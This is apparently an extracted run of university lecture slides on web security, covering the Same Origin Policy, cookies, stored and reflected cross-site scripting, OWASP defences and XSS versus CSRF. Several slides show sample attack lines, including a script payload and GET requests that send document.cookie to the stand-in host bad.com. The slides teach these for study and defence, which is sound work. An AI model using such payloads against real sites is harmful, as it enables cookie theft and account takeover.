</script>

</body></html>

Page 104: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Javascript• Powerful web page programming language

• Scripts are embedded in web pages returned by the web server

• Scripts are executed by the browser. They can: • Alter page contents (DOM objects) • Track events (mouse clicks, motion, keystrokes) • Issue web requests & read replies • Maintain persistent connections (AJAX) • Read and set cookies

no relationto Java

Page 105: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

What could go wrong?• Browsers need to confine Javascript’s power

• A script on attacker.com should not be able to: • Alter the layout of a bank.com web page

• Read keystrokes typed by the user while on a bank.com web page

• Read cookies belonging to bank.com

Page 106: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Same Origin Policy• Browsers provide isolation for javascript scripts via

the Same Origin Policy (SOP)

• Browser associates web page elements… • Layout, cookies, events

• …with a given origin • The hostname (bank.com) that provided the

elements in the first place

• SOP = only scripts received from a web page’s origin have access to the page’s elements

Page 107: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies

Browser

Client

(Private) Data

• Store “en” under the key “edition”

• This value is no good as of Wed Feb 18…

• This value should only be readable by any domain ending in .zdnet.com

• This should be available to any resource within a subdirectory of /

• Send the cookie to any future requests to <domain>/<path>

Semantics

Page 108: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies

Browser

Client

(Private) Data

• Store “en” under the key “edition”

• This value is no good as of Wed Feb 18…

• This value should only be readable by any domain ending in .zdnet.com

• This should be available to any resource within a subdirectory of /

• Send the cookie to any future requests to <domain>/<path>

Semantics

Page 109: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cross-site scripting (XSS)

Page 110: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

XSS: Subverting the SOP• Attacker provides a malicious script

• Tricks the user’s browser into believing that the script’s origin is bank.com

Page 111: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

XSS: Subverting the SOP• Attacker provides a malicious script

• Tricks the user’s browser into believing that the script’s origin is bank.com

• One general approach: • Trick the server of interest (bank.com) to actually

send the attacker’s script to the user’s browser! • The browser will view the script as coming from the

same origin… because it does!

Page 112: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Two types of XSS1. Stored (or “persistent”) XSS attack

• Attacker leaves their script on the bank.com server • The server later unwittingly sends it to your browser • Your browser, none the wiser, executes it within the

same origin as the bank.com server

2. Reflected XSS attack • Attacker gets you to send the bank.com server a URL

that includes some Javascript code • bank.com echoes the script back to you in its response • Your browser, none the wiser, executes the script in the

response within the same origin as bank.com

Page 113: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

bank.com

bad.com

Page 114: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

bank.com

bad.com

Injectmalicious script

1

Page 115: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

bank.com

bad.com

Injectmalicious script

1

Page 116: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

Browser

Client

bank.com

bad.com

Injectmalicious script

1

Page 117: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

Browser

Client

bank.com

bad.com

Injectmalicious script

1Request content

2

Page 118: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

Browser

Client

bank.com

bad.com

Injectmalicious script

1Request content

2Receive malicious script

3

Page 119: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

Browser

Client

bank.com

bad.com

Injectmalicious script

1Request content

2Receive malicious script

3

Execute the malicious scriptas though the server meant us to run it

4

Page 120: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

Browser

Client

bank.com

bad.com

Injectmalicious script

1Request content

2Receive malicious script

3

Execute the malicious scriptas though the server meant us to run it

4 Perform attacker action

5

Page 121: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

Browser

Client

bank.com

bad.com

Injectmalicious script

1Request content

2Receive malicious script

3

Execute the malicious scriptas though the server meant us to run it

4 Perform attacker action

5

GET http://bank.com/transfer?amt=9999&to=attacker

Page 122: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

Browser

Client

bank.com

bad.com

Injectmalicious script

1Request content

2Receive malicious script

3

Execute the malicious scriptas though the server meant us to run it

4

Steal valuable data

5

Perform attacker action

5

GET http://bank.com/transfer?amt=9999&to=attacker

Page 123: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS attack

Browser

Client

bank.com

bad.com

Injectmalicious script

1Request content

2Receive malicious script

3

Execute the malicious scriptas though the server meant us to run it

4

Steal valuable data

5

Perform attacker action

5

GET http://bank.com/transfer?amt=9999&to=attacker

GET http://bad.com/steal?c=document.cookie

Page 124: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stored XSS Summary• Target: User with Javascript-enabled browser who visits

user-generated content page on a vulnerable web service

• Attack goal: run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)

• Attacker tools: ability to leave content on the web server (e.g., via an ordinary browser). Optional tool: a server for receiving stolen user information

• Key trick: Server fails to ensure that content uploaded to page does not contain embedded scripts

Page 125: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Two types of XSS1. Stored (or “persistent”) XSS attack

• Attacker leaves their script on the bank.com server • The server later unwittingly sends it to your browser • Your browser, none the wiser, executes it within the

same origin as the bank.com server

2. Reflected XSS attack • Attacker gets you to send the bank.com server a URL

that includes some Javascript code • bank.com echoes the script back to you in its response • Your browser, none the wiser, executes the script in the

response within the same origin as bank.com

Page 126: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Clientbad.com

Page 127: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Clientbad.comVisit web site

1

Page 128: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Clientbad.comVisit web site

1Receive malicious page

2

Page 129: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Client

bank.com

bad.comVisit web site

1Receive malicious page

2

Page 130: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Client

bank.com

bad.com

Click on link

3

Visit web site

1Receive malicious page

2

Page 131: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Client

bank.com

bad.com

Click on link

3

Visit web site

1Receive malicious page

2

URL specially craftedby the attacker

Page 132: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Client

bank.com

bad.com

Click on link

3Echo user input

4

Visit web site

1Receive malicious page

2

URL specially craftedby the attacker

Page 133: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Client

bank.com

bad.com

Click on link

3Echo user input

4

Execute the malicious scriptas though the server meant us to run it

5

Visit web site

1Receive malicious page

2

URL specially craftedby the attacker

Page 134: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Client

bank.com

bad.com

Click on link

3Echo user input

4

Execute the malicious scriptas though the server meant us to run it

5 Perform attacker action

6

Visit web site

1Receive malicious page

2

URL specially craftedby the attacker

Page 135: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS attack

Browser

Client

bank.com

bad.com

Click on link

3Echo user input

4

Execute the malicious scriptas though the server meant us to run it

5

Steal valuable data

6

Perform attacker action

6

Visit web site

1Receive malicious page

2

URL specially craftedby the attacker

Page 136: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Echoed input• The key to the reflected XSS attack is to find

instances where a good web server will echo the user input back in the HTML response

Page 137: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Echoed input• The key to the reflected XSS attack is to find

instances where a good web server will echo the user input back in the HTML response

http://victim.com/search.php?term=socksInput from bad.com:

Page 138: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Echoed input• The key to the reflected XSS attack is to find

instances where a good web server will echo the user input back in the HTML response

http://victim.com/search.php?term=socks

<html> <title> Search results </title><body>Results for socks :. . .</body></html>

Input from bad.com:

Result from victim.com:

Page 139: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting echoed input

Page 140: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting echoed inputhttp://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>

Input from bad.com:

Page 141: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting echoed inputhttp://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>

<html> <title> Search results </title><body>Results for <script> ... </script> . . .</body></html>

Input from bad.com:

Result from victim.com:

Page 142: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting echoed inputhttp://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>

<html> <title> Search results </title><body>Results for <script> ... </script> . . .</body></html>

Browser would execute this within victim.com’s origin

Input from bad.com:

Result from victim.com:

Page 143: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Reflected XSS Summary• Target: User with Javascript-enabled browser who a

vulnerable web service that includes parts of URLs it receives in the web page output it generates

• Attack goal: run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)

• Attacker tools: ability to get user to click on a specially-crafted URL. Optional tool: a server for receiving stolen user information

• Key trick: Server fails to ensure that the output it generates does not contain embedded scripts other than its own

Page 144: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

XSS Protection• Open Web Application Security Project (OWASP):

• Whitelist: Validate all headers, cookies, query strings… everything.. against a rigorous spec of what should be allowed

• Don’t blacklist: Do not attempt to filter/sanitize.

• Principle of fail-safe defaults.

Page 145: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Mitigating cookie security threats• Cookies must not be easy to guess

• Randomly chosen • Sufficiently long

• Time out session IDs and delete them once the session ends

Page 146: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Twitter vulnerability• Uses one cookie (auth_token) to validate user

• The cookie is a function of • User name • Password

• auth_token weaknesses • Does not change from one login to the next • Does not become invalid when the user logs out

• Steal this cookie once, and you can log in as the user any time you want (until password change)

Page 147: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

XSS vs. CSRF• Do not confuse the two:

• XSS attacks exploit the trust a client browser has in data sent from the legitimate website • So the attacker tries to control what the website sends

to the client browser

• CSRF attacks exploit the trust the legitimate website has in data sent from the client browser • So the attacker tries to control what the client browser

sends to the website

Page 148: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)